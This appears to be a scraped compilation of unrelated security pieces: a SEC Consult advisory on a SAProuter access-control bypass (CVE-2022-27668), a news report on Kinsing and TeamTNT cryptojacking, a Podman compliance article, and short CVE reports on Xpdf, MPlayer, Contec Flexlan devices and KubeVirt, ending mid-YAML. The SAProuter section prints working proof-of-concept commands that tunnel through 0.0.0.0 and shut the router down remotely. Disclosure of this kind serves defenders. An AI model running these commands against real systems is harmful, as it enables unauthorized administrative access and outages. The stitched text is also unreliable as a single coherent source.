SAP SAProuter suffers from an improper access control vulnerability where permitting loopback traffic can lead to unexpected behavior.

SEC Consult Vulnerability Lab Security Advisory < 20220914-0 >  
=======================================================================  
               title: Improper Access Control  
             product: SAP® SAProuter  
  vulnerable version: see section "Vulnerable / tested versions"  
       fixed version: see SAP security note 3158375  
          CVE number: CVE-2022-27668  
              impact: high  
            homepage: https://support.sap.com/en/tools/connectivity-tools/saprouter.html  
               found: 2022-02-25  
                  by: Fabian Hagg (Office Vienna)  
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company  
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:  
-------------------  
"SAProuter is a software application that provides a remote connection  
between our customer's network and SAP. SAProuter can be used to:

- Improve network security, e.g.by using a password or by only allowing  
   encrypted connections from known sources  
- Control and log the connections to your SAP system  
- Set up an indirect connection when programs involved cannot  
   communicate with each other due to the network configuration  
- Increase performance and stability by reducing the SAP system workload  
   within a local area network (LAN) when communicating with a wide area  
   network (WAN)" [1]

[1] https://support.sap.com/en/tools/connectivity-tools/saprouter.html

Business recommendation:  
------------------------  
SEC Consult recommends to implement the security note 3158375, where the  
documented issue is fixed according to the vendor. We advise installing the  
correction as a matter of priority to keep business-critical data secured.

Vulnerability overview/description:  
-----------------------------------  
1) Improper Access Control (CVE-2022-27668)  
According to SAP note 1853140: "in the default configuration, the  
SAProuter does not allow a route to itself. You can explicitly permit  
the 'loopback' from the SAProuter to itself using option -X".

It has been identified that under certain circumstances, this is not  
valid and may lead to unexpected behavior. External attackers having  
network-wise access to a (weakly configured) SAProuter instance can  
exploit an improper access control vulnerability by sending packets  
of type NI_ROUTE in order to establish a tunnel that allows to manage  
the SAProuter externally even when it was started without option -X.

This enables an attacker to send packets of type ROUTER_ADM in order to  
gain unauthorized access to administrative functions such as stopping  
the remote SAProuter instance, displaying connection information,  
switching trace level, or terminating a specific connection.

Proof of concept:  
-----------------  
1) Improper Access Control (CVE-2022-27668)  
For successful exploitation of this vulnerability, the following prerequisites  
must be met:

- Route permission table saprouttab must contain an entry that  
   explicitly permits external hosts to connect to port 3299 of  
   arbitrary hosts. Some examples of such entries are shown in  
   the following listing:

   P  <source-host incl. attacker-controlled machine>  *  3299  
   P  <source-host incl. attacker-controlled machine>  *  3200.3300

- SAProuter is running (option -X does not need to be set) and the  
   attacker has network-wise access to its listening port.

The vulnerability can be verified by means of the publicly available  
Python script router_portfw.py [2] of the open source pysap framework  
developed by M. Gallo. The script, which is based on a scapy re-implementation  
of the proprietary SAP Router protocol, allows for port forwarding through  
a SAProuter service.

For demonstration purposes, the following simplified lab setup is used:

-------------------------------------------------------------------------  
SAProuter (IPv4:192.168.56.103) <-----> Attacker (IPv4:192.168.56.104)  
-------------------------------------------------------------------------  
SAProuter started with option -r:  |    Pysap framework  
./saprouter -r                     |  
                                    |  
Content of saprouttab in workdir:  |  
P  192.168.56.104  *  3299         |  
-------------------------------------------------------------------------

The following listing shows that it is not possible to establish a  
"loopback" tunnel through the remote SAProuter service by specifying a  
target destination host 127.0.0.1 (option -t) and target destination  
port 3299 (option -r). As expected, this route is filtered and denied  
by default even when explicitly allowed through the route permission  
table.

--------------------------------------------------------------------------  
attacker@192.168.56.104$ python router_portfw.py -d 192.168.56.103 -p 3299  
-t 127.0.0.1 -r 3299 -a 127.0.0.1 -l 3299 -v  
[*] Setting a proxy between 127.0.0.1:3299 and remote SAP Router 192.168.  
56.103:3299 (talk mode raw)  
SAPNIProxy: Binded to address 127.0.0.1:3299, proxying to 192.168.56.103:  
3299  
Routing to 127.0.0.1:3299  
To send 61 bytes data + 4 bytes NI header  
Received 4 bytes NI header, to receive 211 bytes data  
Received 211 bytes data  
Route request to 127.0.0.1:3299 not accepted by 192.168.56.103:3299  
--------------------------------------------------------------------------

It was discovered that it is possible to circumvent this check using  
the non-standard IPv4 broadcast address 0.0.0.0 (see RFC5735, RFC1122).  
When specifying destination host 0.0.0.0 and destination port 3299,  
this leads to an effective access control bypass as can be seen in the  
following listing.

--------------------------------------------------------------------------  
attacker@192.168.56.104$ python router_portfw.py -d 192.168.56.103 -p 3299  
-t 0.0.0.0 -r 3299 -a 127.0.0.1 -l 3299 -v  
[*] Setting a proxy between 127.0.0.1:3299 and remote SAP Router 192.168.  
56.103:3299 (talk mode raw)  
SAPNIProxy: Binded to address 127.0.0.1:3299, proxying to 192.168.56.103:  
3299  
Routing to 0.0.0.0:3299  
To send 59 bytes data + 4 bytes NI header  
Received 4 bytes NI header, to receive 8 bytes data  
Received 8 bytes data  
Route request to 0.0.0.0:3299 accepted by 192.168.56.103:3299

attacker@192.168.56.104$ ss -antlp | grep "3299"  
LISTEN 0    5  127.0.0.1:3299  0.0.0.0:*  users:(("python",pid=1985,fd=3))  
--------------------------------------------------------------------------

Once the tunnel is established, an attacker can leverage administrative  
functions using its local port 3299 which is forwarded to the loopback  
interface of the remote SAProuter instance. For example, the Python  
script router_admin.py [3] of the pysap framework can be used to  
shutdown (option -s) the running SAProuter instance on the remote host.

--------------------------------------------------------------------------  
attacker@192.168.56.104$ python router_admin.py -s -d 127.0.0.1 -p 3299  
[*] Requesting stop of the remote SAP Router  
[*] Connected to the SAP Router 127.0.0.1:3299  
[*] Using SAP Router version 40  
[*] Sending Router Admin packet

netwadm@192.168.56.103$ ./saprouter -r

trcfile dev_rout  
no logging active

WARNING: wildcard character used in route target

shutdown message received, good bye ...  
--------------------------------------------------------------------------

External links:  
[2] https://github.com/SecureAuthCorp/pysap/blob/master/examples/router_portfw.py  
[3] https://github.com/SecureAuthCorp/pysap/blob/master/examples/router_admin.py

Vulnerable / tested versions:  
-----------------------------  
The following versions of the binary were found to be vulnerable during our tests:

- SAProuter as part of kernel 753 patch no. 400 (Linux, 64 BIT UNICODE)  
- SAProuter as part of kernel 777 patch no. 200 (Linux, 64 BIT UNICODE)

No additional testing on other releases has been carried out. According to the vendor  
the following releases and versions are affected by the discovered vulnerability:

- KRNL64NUC     7.49        
- KRNL64UC      7.49        
- SAP_ROUTER    7.53        
- SAP_ROUTER    7.22        
- KERNEL        7.49        
- KERNEL        7.77        
- KERNEL        7.81        
- KERNEL        7.85        
- KERNEL        7.86        
- KERNEL        7.87        
- KERNEL        7.88

Vendor contact timeline:  
------------------------  
2022-02-25: Contacting vendor through vulnerability submission web form.  
2022-03-05: Vendor confirms receipt and assigns internal ID #2270010706.  
2022-04-04: Requesting status update.  
2022-04-05: Vendor confirms vulnerability and states that a fix is already  
             complete. The corresponding security note is expected to be  
             released with the upcoming April 2022 patch day.  
2022-04-12: Patch day April 2022 passed without release.  
2022-05-10: Patch day May 2022 passed without release.  
2022-06-14: Vendor releases patch with SAP Security Note 3158375.  
2022-06-14: Requesting confirmation that the finding was fixed by the  
             published security note as no prior notification was provided.  
2022-06-28: Vendor confirms that the patch included in Security Note 3158375  
             fixes the issue. The vulnerability got assigned CVE-2022-27668.  
2022-09-14: Release of this security advisory.

Solution:  
---------  
The vendor provides a patched version which should be installed immediately.  
The software can be obtained via the SAP service marketplace. Further  
information can be found in the corresponding Security Note 3158375 [4].

[4] https://launchpad.support.sap.com/#/notes/3158375

Workaround:  
-----------  
Remove any wildcard (*) values in the target host or IP address directive  
in route permission table saprouttab entries 'P' and 'S'. In general, it  
is recommended to not make use of any wildcard values in the route permission  
table saprouttab. Additional information on the secure configuration of  
SAProuter can be found in SAP Security Note/KBA 1895350 [5].

[5] https://launchpad.support.sap.com/#/notes/1895350

Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company  
Europe | Asia | North America

About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Atos company. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult

EOF F. Hagg / @2022

SAP SAProuter Improper Access Control

Malicious actors such as Kinsing are taking advantage of both recently disclosed and older security flaws in Oracle WebLogic Server to deliver cryptocurrency-mining malware.
Cybersecurity company Trend Micro said it found the financially-motivated group leveraging the vulnerability to drop Python scripts with capabilities to disable operating system (OS) security features such as

Malicious actors such as Kinsing are taking advantage of both recently disclosed and older security flaws in Oracle WebLogic Server to deliver cryptocurrency-mining malware.

Cybersecurity company Trend Micro said it found the financially-motivated group leveraging the vulnerability to drop Python scripts with capabilities to disable operating system (OS) security features such as Security-Enhanced Linux (SELinux), and others.

The operators behind the Kinsing malware have a history of scanning for vulnerable servers to co-opt them into a botnet, including that of Redis, SaltStack, Log4Shell, Spring4Shell, and the Atlassian Confluence flaw (CVE-2022-26134).

The Kinsing actors have also been involved in campaigns against container environments via misconfigured open Docker Daemon API ports to launch a crypto miner and subsequently spread the malware to other containers and hosts.

The latest wave of attacks entails the actor weaponizing CVE-2020-14882 (CVSS score: 9.8), a two-year-old remote code execution (RCE) bug, against unpatched servers to seize control of the server and drop malicious payloads.

It's worth noting that the vulnerability has been exploited in the past by multiple botnets to distribute Monero miners and the Tsunami backdoor on infected Linux systems.

Successful exploitation of the flaw was succeeded by the deployment of a shell script that's responsible for a series of actions: Removing the /var/log/syslog system log, turning off security features and cloud service agents from Alibaba and Tencent, and killing competing miner processes.

The shell script then proceeds to download the Kinsing malware from a remote server, while also taking steps to ensure persistence by means of cron job.

"The successful exploitation of this vulnerability can lead to RCE, which can allow attackers to perform a plethora of malicious activities on affected systems," Trend Micro said. "This can range from malware execution \[...\] to theft of critical data, and even complete control of a compromised machine."

****TeamTNT actors make a comeback with the Kangaroo Attack****

The development comes as researchers from Aqua Security identified three new attacks linked to another "vibrant" cryptojacking group called TeamTNT, which voluntarily shut shop in November 2021.

"TeamTNT has been scanning for a misconfigured Docker Daemon and deploying alpine, a vanilla container image, with a command line to download a shell script (k.sh) to a C2 server," Aqua Security researcher Assaf Morag said.

What's notable about the attack chain is that it appears to be designed to break SECP256K1 encryption, which, if successful, could give the actor the ability to calculate the keys to any cryptocurrency wallet. Put differently, the idea is to leverage the high but illegal computational power of its targets to run the ECDLP solver and get the key.

Two other attacks mounted by the group entail the exploitation of exposed Redis servers and misconfigured Docker APIs to deploy coin miners and Tsunami binaries.

TeamTNT's targeting of Docker REST APIs has been well-documented over the past year. But in an operational security blunder spotted by Trend Micro, credentials associated with two of the attacker-controlled DockerHub accounts have been uncovered.

The accounts – alpineos and sandeep078 – are said to have been used to distribute a variety of malicious payloads like rootkits, Kubernetes exploit kits, credential stealers, XMRig Monero miners, and even the Kinsing malware.

"The account alpineos was used in exploitation attempts on our honeypots three times, from mid-September to early October 2021, and we tracked the deployments' IP addresses to their location in Germany," Trend Micro's Nitesh Surana said.

"The threat actors were logged in to their accounts on the DockerHub registry and probably forgot to log out." Alternatively, "the threat actors logged in to their DockerHub account using the credentials of alpineos."

Trend Micro said the malicious alpineos image had been downloaded more than 150,000 times, adding it notified Docker about these accounts.

It's also recommending organizations to configure the exposed REST API with TLS to mitigate adversary-in-the-middle (AiTM) attacks, as well as use credential stores and helpers to host user credentials.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Hackers Targeting WebLogic Servers and Docker APIs for Mining Cryptocurrencies

As organizations adopt container-based ecosystems, the approach to continuous IT security and compliance must shift from traditional system security assessments to new methodologies that account for how cloud-based technologies operate. Containers enable agnosticism amongst cloud computing operating environments by packaging applications, or workloads, within a virtualized environment.

As organizations adopt container-based ecosystems, the approach to continuous IT security and compliance must shift from traditional system security assessments to new methodologies that account for how cloud-based technologies operate. Containers enable agnosticism amongst cloud computing operating environments by packaging applications, or workloads, within a virtualized environment. The application, or workload, is then operating independently of its hosted environment all while inheriting the security benefits of that hosted environment. Container technologies implement the concept of immutability, as in a stateless entity or image that is deployed but not changed.

Containers have disrupted the culture of software development and how IT security assessments are conducted within organizations. Traditional development and operations practices may not directly apply to containerized environments, necessitating a shift for the organization to adapt to a DevOps model that best fits how the organization functions. For the security teams, simply installing endpoint agents or remotely connecting through the Secure Shell Protocol (SSH) protocol is not feasible with newer technologies. Challenges occur when attempting to integrate agent-based solutions. Solutions that utilize Application Programming Interfaces (API) to access resources and management of information systems are preferred over long-standing shared system service account methods.

However, some workloads may not benefit from Kubernetes, the de facto standard platform to orchestrate containerized functions into more complex enterprise applications. In some cases, a General Purpose Operating System (GPOS), or Single Purpose Operating System (SPOS) environment may work better. An example of a GPOS is Red Hat Enterprise Linux (RHEL), whereas an example of SPOS is Red Hat Enterprise Linux CoreOS (RHCOS). Kubernetes can introduce risk when there is no need for distributed architecture with High Availability (HA) or a workforce shortage of specialists. As with all things technology-related, avoid architecting unnecessary complexity.

Without introducing new risks, an effective way to prepare the organization for the realities of container-based environments are to:

*   Provide education and training for people involved in the software development lifecycle (SDLC) across development, operations, security, and other roles to enhance their  understanding of cloud-based technologies through experience with the changing paradigms of cloud-based technologies
    
*   Implement tailored control baselines specific to the individual information systems, the data types it may contain, and acceptable risk, and;
    
*   Analyze the solutions that protect the containers, their applications, and the critical technologies hosting the containerized applications.
    

**Podman: A compliant solution**

Podman, a pod manager tool included with RHEL subscriptions, is an Open Containers Initiative (OCI) compliant solution designed to find, build, run, share, and deploy applications. Podman provides a portable, reusable and automated way to package and run applications. It can operate without the need for Kubernetes, reducing potentially unnecessary architectural complexities, which can be attractive to security and compliance teams that are hesitant to adopt a container-based orchestrator.

The National Institute of Standards and Technology’s Special Publication 800-190 (NIST SP 800-190) _Application Container Security Guide_ provides guidance to, "only group containers with the same purpose, sensitivity, and threat posture on a single host OS kernel". This is a reference to meeting the requirements set forth by the Federal Information Processing Standards Publication (FIPS) 199, _Standards for Security Categorization of Federal Information and Information Systems_. Podman helps to group containers with the same purpose by  managing an image registry, the images, kernel, storage, networking and one or several running containers, all within the pod itself. This allows for greater operational ease of managing and separating applications of varying categorization levels in the target operating environments, further managing risk. 

Podman is also a means of enhancing application security in a non-privileged, or rootless, configuration of its resources. This is a default configuration in RHEL 8, though it requires a minimal level of effort for RHEL 7. A greater level of application security is possible because Podman does not run a daemon or system service requiring administrative (or sudo) rights to build and run those resources. This improves the protection of not only the applications but also the host environment in the event that a container image contains a weakness from vulnerable software packages.

**Correlating indicative controls**

Here, we sample some selected typical controls  (drawn from NIST SP 800-190) in the context of maintaining necessary operational capabilities.  (Obviously, each environment is unique and users must evaluate use of any technology  in light of their own risks and threats.)

**Network Isolation**

*   3.3.3 Poorly separated inter-container network traffic
    
*   3.3.4 Mixing of workload sensitivity levels
    
*   3.4.2 Unbounded network access from containers
    

Podman has the ability to manage Container Network Interfaces (CNI), allowing pods to remain in an isolated environment/virtual network on the host. Entirely isolated virtual networks are created on the host for containers to use. In addition, Podman uses the Netavark and Aardvark-based network stack, providing further control over the network, such as attaching multiple networks to container performance improvements and IPv6 support. A summary of Podman with CNI can be found here.

**Operating without daemons**

*   4.5.4 Improper user access rights
    
*   5.2 Exploit of the Container Runtime
    

Typically, Container Runtime Interfaces have a daemon that runs with escalated privileges on the host. Podman does not require a daemon, meaning it can be utilized by any user without additional privileges.

In addition to the running container, local configurations such as the graphroot, runroot, registry configuration and volumes are isolated. This respects the boundaries of peruser data from the convenience of the home directory.

_For reference, the graphroot is the directory to store all writable content created by container storage programs. The runroot is the directory to store all temporary writable content created by container storage programs._

**User namespaces**

*   3.1.5 Use of untrusted images
    
*   3.3.1 Unbounded administrative access
    
*   4.5.5 Host file system tampering
    

With Podman’s daemonless nature, each user on the host acts as a namespace, enabling further isolation of components including networks, volumes and secrets.

**Secrets**

*   3.1.4 Embedded clear text secrets
    

Podman allows for the creation and management of secrets that live on the host, providing further isolation of sensitive information between the container and host.

Secrets are stored locally on the host, rather than within the container. They are then mounted within the container for access. This prevents sensitive information from being stored on a registry embedded with the image, or worse, in clear text on your desk.

**Configurable registry policies**

*   3.2.1 Insecure connections to registries
    
*   3.2.2 Stale images in registries
    
*   3.2.3 Insufficient authentication and authorization restrictions
    

Signed, mirrored, trusted and untrusted registries can be configured on the host for all. This allows for a controlled policy for pulling images. 

Exploring this capability, CRI-O, the runtime for Red Hat OpenShift as well as the Kubernetes project, also uses the configuration file at /etc/containers/registries.conf. Administrators can set credential helpers that store and reference authentication information for registries, as well as configure mirrors' default registries and TLS enforcement. This can be configured on a per-user basis (versus a global default) for all users utilizing Podman. 

**Implementing the way forward**

We have explored some of the basic security controls principles that Podman provides. In a future article, we will be diving deeper into how Podman better protects the application, the host it operates on and further correlation with typical controls (using NIST SP 800-190 as the example).

Enhancing application container security and compliance with Podman

An issue in the component post_applogin.php of Super Flexible Software GmbH & Co. KG Syncovery 9 for Linux v9.47x and below allows attackers to escalate privileges via creating crafted session tokens.

CVE-2022-36536: Copy of Универсальная страница компании

XPDF v4.04 was discovered to contain a stack overflow via the function Catalog::countPageTree() at Catalog.cc.

hi,i use AFL++ fuzz xpdf4.04,and found the Catalog::countPageTree() function in Catalog.cc may cause recursion issues via a crafted file.

Code: Select all

    gdb --args pdftopng crashfile output/

Code: Select all

    Syntax Error (1262): Dictionary key must be a name object
    Syntax Error (1265): Dictionary key must be a name object
    
    Program received signal SIGSEGV, Segmentation fault.
    
    [----------------------------------registers-----------------------------------]
    RAX: 0x5f8fd980549df300 
    RBX: 0x7fffff7ff050 --> 0x7fffff7ff060 --> 0x7ffff6ef6b41 (<malloc+193>:	mov    r15,rax)
    RCX: 0x7fffff7ff000 --> 0x0 
    RDX: 0x7fffff7ff8a0 --> 0xffffffffffffff90 
    RSI: 0x7fffff7ff050 --> 0x7fffff7ff060 --> 0x7ffff6ef6b41 (<malloc+193>:	mov    r15,rax)
    RDI: 0x7 
    RBP: 0x7fffff7ff050 --> 0x7fffff7ff060 --> 0x7ffff6ef6b41 (<malloc+193>:	mov    r15,rax)
    RSP: 0x7fffff7fefc0 
    RIP: 0x7ffff6e3fced (mov    QWORD PTR [rsp+0x38],rax)
    R8 : 0x1 
    R9 : 0x1e 
    R10: 0x7ffff7fc3000 --> 0x7ffff7fef000 --> 0x7ffff7168698 --> 0x7ffff6f07080 (repz ret)
    R11: 0x555555b47069 (<gmalloc(int)+233>:	test   rax,rax)
    R12: 0x7 
    R13: 0x1 
    R14: 0x7 
    R15: 0x7ffff6ef6b41 (<malloc+193>:	mov    r15,rax)
    EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x7ffff6e3fcdd:	mov    rbp,rsi
       0x7ffff6e3fce0:	sub    rsp,0x48
       0x7ffff6e3fce4:	mov    rax,QWORD PTR fs:0x28
    => 0x7ffff6e3fced:	mov    QWORD PTR [rsp+0x38],rax
       0x7ffff6e3fcf2:	xor    eax,eax
       0x7ffff6e3fcf4:	lea    rax,[rip+0x540f21]        # 0x7ffff7380c1c
       0x7ffff6e3fcfb:	mov    ecx,DWORD PTR [rax]
       0x7ffff6e3fcfd:	test   ecx,ecx
    [------------------------------------stack-------------------------------------]
    Invalid $SP address: 0x7fffff7fefc0
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x00007ffff6e3fced in ?? () from /usr/lib/x86_64-linux-gnu/libasan.so.4
    
    

bt

Code: Select all

    #29095 0x000055555577c369 in Catalog::countPageTree (this=this@entry=0x612000000040, pagesObj=pagesObj@entry=0x7fffffffcdd0) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:567
    #29096 0x000055555577c369 in Catalog::countPageTree (this=this@entry=0x612000000040, pagesObj=pagesObj@entry=0x7fffffffcef0) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:567
    #29097 0x000055555577c369 in Catalog::countPageTree (this=this@entry=0x612000000040, pagesObj=pagesObj@entry=0x7fffffffd010) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:567
    #29098 0x000055555577c369 in Catalog::countPageTree (this=this@entry=0x612000000040, pagesObj=pagesObj@entry=0x7fffffffd130) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:567
    #29099 0x000055555577c369 in Catalog::countPageTree (this=this@entry=0x612000000040, pagesObj=pagesObj@entry=0x7fffffffd250) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:567
    #29100 0x000055555577c369 in Catalog::countPageTree (this=this@entry=0x612000000040, pagesObj=pagesObj@entry=0x7fffffffd370) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:567
    #29101 0x000055555577c369 in Catalog::countPageTree (this=this@entry=0x612000000040, pagesObj=pagesObj@entry=0x7fffffffd490) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:567
    #29102 0x000055555577c369 in Catalog::countPageTree (this=this@entry=0x612000000040, pagesObj=pagesObj@entry=0x7fffffffd5b0) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:567
    #29103 0x000055555577c369 in Catalog::countPageTree (this=this@entry=0x612000000040, pagesObj=pagesObj@entry=0x7fffffffd6d0) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:567
    #29104 0x000055555577c369 in Catalog::countPageTree (this=this@entry=0x612000000040, pagesObj=pagesObj@entry=0x7fffffffd820) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:567
    #29105 0x000055555577d9a8 in Catalog::readPageTree (this=this@entry=0x612000000040, catDict=catDict@entry=0x7fffffffd980) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:529
    #29106 0x0000555555789d11 in Catalog::Catalog (this=0x612000000040, docA=<optimized out>) at /home/hekun/xpdf-4.04/xpdf/Catalog.cc:175
    #29107 0x0000555555a6141e in PDFDoc::setup2 (this=this@entry=0x607000000090, ownerPassword=ownerPassword@entry=0x0, userPassword=userPassword@entry=0x0, repairXRef=repairXRef@entry=0x1) at /home/hekun/xpdf-4.04/xpdf/PDFDoc.cc:318
    #29108 0x0000555555a61d9a in PDFDoc::setup (this=this@entry=0x607000000090, ownerPassword=ownerPassword@entry=0x0, userPassword=userPassword@entry=0x0) at /home/hekun/xpdf-4.04/xpdf/PDFDoc.cc:276
    #29109 0x0000555555a630d7 in PDFDoc::PDFDoc (this=0x607000000090, fileNameA=<optimized out>, ownerPassword=<optimized out>, userPassword=<optimized out>, coreA=<optimized out>) at /home/hekun/xpdf-4.04/xpdf/PDFDoc.cc:218
    #29110 0x000055555568410a in main (argc=<optimized out>, argc@entry=0x3, argv=<optimized out>, argv@entry=0x7fffffffde38) at /home/hekun/xpdf-4.04/xpdf/pdftopng.cc:180
    #29111 0x00007ffff5c23c87 in __libc_start_main (main=0x555555683210 <main(int, char**)>, argc=0x3, argv=0x7fffffffde38, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffde28) at ../csu/libc-start.c:310
    #29112 0x0000555555688dda in _start ()
    

please check it out,thanks

CVE-2022-38334: stack-overflow by Xpdf4.04 - forum.xpdfreader.com

By Deeba Ahmed
The Flexlan FXA3000 and FXA2000 series LAN devices made by the Japan-based firm contain two critical vulnerabilities tracked as CVE–2022–36158 and CVE–2022–36159.
This is a post from HackRead.com Read the original post: Critical Vulnerabilities Found in Devices That Provide WiFi on Airplanes

Necrum Security Labs’ researchers Samy Younsi and Thomas Knudsen have discovered two critical vulnerabilities in the wireless LAN devices manufactured by Contec. The company specializes in industrial automation, computing, and IoT communication technology.

**Research Details**

Reportedly, the Flexlan FXA3000 and FXA2000 series LAN devices made by the Japan-based firm contain two critical vulnerabilities tracked as CVE–2022–36158 and CVE–2022–36159.

For your information, these devices are used in airplanes to offer internet connectivity. The abovementioned series of devices offer WiFi access points in airplanes to ensure uninterrupted high-speed internet communication so that passengers could enjoy music, movies, and even purchased goodies during the flight. Hence, these vulnerabilities can allow an adversary to hack the inflight entertainment system and more.

FXA2000 (left) and FXA3000 (right)

Researchers discovered the first vulnerability (CVE–2022–36158) while performing the firmware’s reverse engineering. They identified a hidden page, which wasn’t listed in the Wireless LAN Manager interface. This page facilitates the execution of Linux commands on the device with root privileges. They could then access all system files and open the telnet port to gain complete access to the device.

The second vulnerability (CVE–2022–36159) entailed the use of hard-coded, weak cryptographic keys and backdoor accounts. While investigating, they also learned that the shadow file contained the has of two users, including root and user, and within a few minutes they could access them through a brute-force attack.

**How to Fix the Issues?**

In their blog post, researchers explained that the device owner could change the account’s user password from the web admin’s interface, which is the primary reason behind the emergence of these flaws. The root account is reserved for Contec for maintenance purposes.

Therefore, an attacker armed with the root hard-coded password can conveniently access all FXA2000 and FXA3000 series devices.

In order to fix the first issue, the hidden engineering web page must be removed from the under-production devices because the default password is weak and makes it easy for an attacker to inject a backdoor into the device using this page.

Furthermore, the company needs to generate a unique password for each device during the production phase for the second issue.

As pointed out by Eduard Kovacs of SecurityWeek, in its advisory, Contec explained that the vulnerabilities are connected to a private webpage created for developers to execute system commands and the page isn’t linked to other pages available to users. These vulnerabilities have been addressed in versions 1.16.00 for the FX3000 series and 1.39.00 for FX2000 series devices.

1.  Reporter Gets His Email Hacked on The Plane
2.  This map shows free WiFi passwords from airports worldwide
3.  Vulnerable In-flight WiFi lets hackers remotely takeover modern aircraft
4.  Flight tracking service Flightradar24 hacked; 230,000 accounts affected
5.  Inflight Entertainment Service Provider Gogo Launches Bug Bounty Program

Critical Vulnerabilities Found in Devices That Provide WiFi on Airplanes

Mplayer SVN-r38374-13.0.1 is vulnerable to Memory Leak via vf.c and vf_vo.c.

**#2390 closed defect (fixed)**

Reported by:

Owned by:

beastd

Priority:

normal

Component:

vf

Version:

unspecified

Severity:

normal

Keywords:

Cc:

Blocked By:

Blocking:

Reproduced by developer:

no

Analyzed by developer:

no

Summary of the bug: Found a .viv file for mplayer where asan reports a memory leak.  
How to reproduce:Use the attached file to reproduce this issue (ASAN-recompilation are required)  
version: SVN-r38374-13.0.1  
kernel version:ubuntu 20.04; Linux 5.15.0-46-generic  
complier version:clang 13.0.1-2ubuntu2~20.04.1  

mplayer and ASAN output:  

Player SVN-r38374-13.0.1 (C) 2000-2022 MPlayer Team  

Playing /home/ldy/sample/useful/03-KimagureOrangeRoad.viv.  
libavformat version 58.29.100 (external)  
VIVO file format detected.  
VIDEO: \[viv2\] 320x240 24bpp 10.000 fps 0.0 kbps ( 0.0 kbyte/s)  
\[gl\] using extended formats. Use -vo gl:nomanyfmts if playback fails.  
\==========================================================================  
Requested video codec family \[vivo\] (vfm=vfw) not available.  
Enable it at compilation.  
Cannot find codec matching selected -vo and video format 0x32766976.  
\==========================================================================  
Clip info:  

> title: <No Title>  
> author: NV  
> copyright: <No Copyright>  
> encoder: VivoActive VideoNow 3.0 for Windows  

Load subtitles in /home/ldy/sample/useful/  
\==========================================================================  
Requested audio codec family \[vivoaudio\] (afm=acm) not available.  
Enable it at compilation.  
Opening audio decoder: \[ffmpeg\] FFmpeg/libavcodec audio decoders  
libavcodec version 58.54.100 (external)  
Cannot find codec 'siren' in libavcodec...  
ADecoder init failed :(  
ADecoder init failed :(  
Cannot find codec for audio format 0x112.  
Audio: no sound  
Video: no video  

Exiting... (End of file)  

\=================================================================  
\==3993864==ERROR: LeakSanitizer: detected memory leaks  

Direct leak of 576 byte(s) in 1 object(s) allocated from:  

> #0 0x55ac7b1e06dd in malloc (/home/ldy/good\_mplayer/asan\_playr/mplayer+0x33e6dd)  
> #1 0x55ac7b42992e in vf\_open\_plugin /home/ldy/good\_mplayer/mplayer/libmpcodecs/vf.c:478:8  

Indirect leak of 24 byte(s) in 1 object(s) allocated from:  

> #0 0x55ac7b1e0872 in interceptor\_calloc (/home/ldy/good\_mplayer/asan\_playr/mplayer+0x33e872)  
> #1 0x55ac7b50a2cd in vf\_open /home/ldy/good\_mplayer/mplayer/libmpcodecs/vf\_vo.c:215:14  

SUMMARY: AddressSanitizer: 600 byte(s) leaked in 2 allocation(s).

CVE-2022-38600: #2390 (memory leak in vf.c and vf_vo.c) – MPlayer

A path traversal vulnerability in KubeVirt versions up to 0.56 (and 0.55.1) on all platforms allows a user able to configure the kubevirt to read arbitrary files on the host filesystem which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/<> is not accessible.

**Impact**

Users with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors:

1.  Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: spec.domain.firmware.kernelBoot.container.kernelPath, spec.domain.firmware.kernelBoot.container.initrdPath as well as spec.volumes[*].containerDisk.path.

Example:

apiVersion: \[kubevirt.io/v1\](http://kubevirt.io/v1)
kind: VirtualMachineInstance
metadata:
  name: vmi-fedora
spec:
  domain:
    devices:
      disks:
      - disk:
          bus: virtio
        name: containerdisk
      - disk:
          bus: virtio
        name: cloudinitdisk
      - disk:
          bus: virtio
        name: containerdisk1
      rng: {}
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - containerDisk:
